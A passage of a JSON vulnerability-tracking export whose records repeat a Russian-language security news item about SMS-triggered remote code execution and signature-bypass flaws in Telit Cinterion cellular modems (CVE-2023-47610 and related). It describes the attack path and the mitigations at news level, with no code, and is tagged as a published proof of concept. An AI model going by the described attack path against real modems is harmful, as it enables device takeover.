\u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0445 SMS, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2023-47610 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0434\u0435\u043c\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u0444\u043b\u044d\u0448-\u043f\u0430\u043c\u044f\u0442\u044c\u044e \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u043c\u043e\u0434\u0435\u043c\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlets \u2014 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0425\u043e\u0442\u044f Telit \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \u0412 Kaspersky ICS CERT \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0437-\u0437\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u0442\u044c \u0441 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0441\u0432\u044f\u0437\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 SMS \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0435 APN (Access Point Name). \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 MIDlets \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u044b \u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-14T07:38:24.000000Z"}, {"uuid": "65c8ceac-4ef5-4178-8338-1d4e4821a2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47610", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/4408", "content": "\u200b\u26a1\ufe0f\u0412\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043c\u043e\u0434\u0435\u043c Telit Cinterion: \u043a\u0430\u043a \u043e\u0434\u043d\u043e SMS \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n\n\ud83d\udcac\u041e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 Telit Cinterion \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.\n\n\u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 8 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, 7 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE \u0441 CVE-2023-47610 \u043f\u043e CVE-2023-47616, \u0430 \u0432\u043e\u0441\u044c\u043c\u0430\u044f \u0435\u0449\u0435 \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Kaspersky ICS CERT \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.\n\n\u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041a\u043e\u0437\u043b\u043e\u0432 \u0438 \u0421\u0435\u0440\u0433\u0435\u0439 \u0410\u043d\u0443\u0444\u0440\u0438\u0435\u043d\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044f\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2023-47610 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.1), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 (Heap Overflow), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 Secure User Plane Location (SUPL).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS \u043c\u043e\u0436\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0438 \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0445 SMS, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2023-47610 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0434\u0435\u043c\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u0444\u043b\u044d\u0448-\u043f\u0430\u043c\u044f\u0442\u044c\u044e \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u043c\u043e\u0434\u0435\u043c\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlets \u2014 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0425\u043e\u0442\u044f Telit \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \u0412 Kaspersky ICS CERT \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0437-\u0437\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u0442\u044c \u0441 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0441\u0432\u044f\u0437\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 SMS \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0435 APN (Access Point Name). \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 MIDlets \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u044b \u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-14T07:38:24.000000Z"}, {"uuid": "a8cbbcfe-3416-436a-bbea-c4ba46406636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47611", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/4408", "content": "\u200b\u26a1\ufe0f\u0412\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043c\u043e\u0434\u0435\u043c Telit Cinterion: \u043a\u0430\u043a \u043e\u0434\u043d\u043e SMS \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n\n\ud83d\udcac\u041e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 Telit Cinterion \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.\n\n\u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 8 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, 7 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE \u0441 CVE-2023-47610 \u043f\u043e CVE-2023-47616, \u0430 \u0432\u043e\u0441\u044c\u043c\u0430\u044f \u0435\u0449\u0435 \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Kaspersky ICS CERT \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.\n\n\u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041a\u043e\u0437\u043b\u043e\u0432 \u0438 \u0421\u0435\u0440\u0433\u0435\u0439 \u0410\u043d\u0443\u0444\u0440\u0438\u0435\u043d\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044f\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 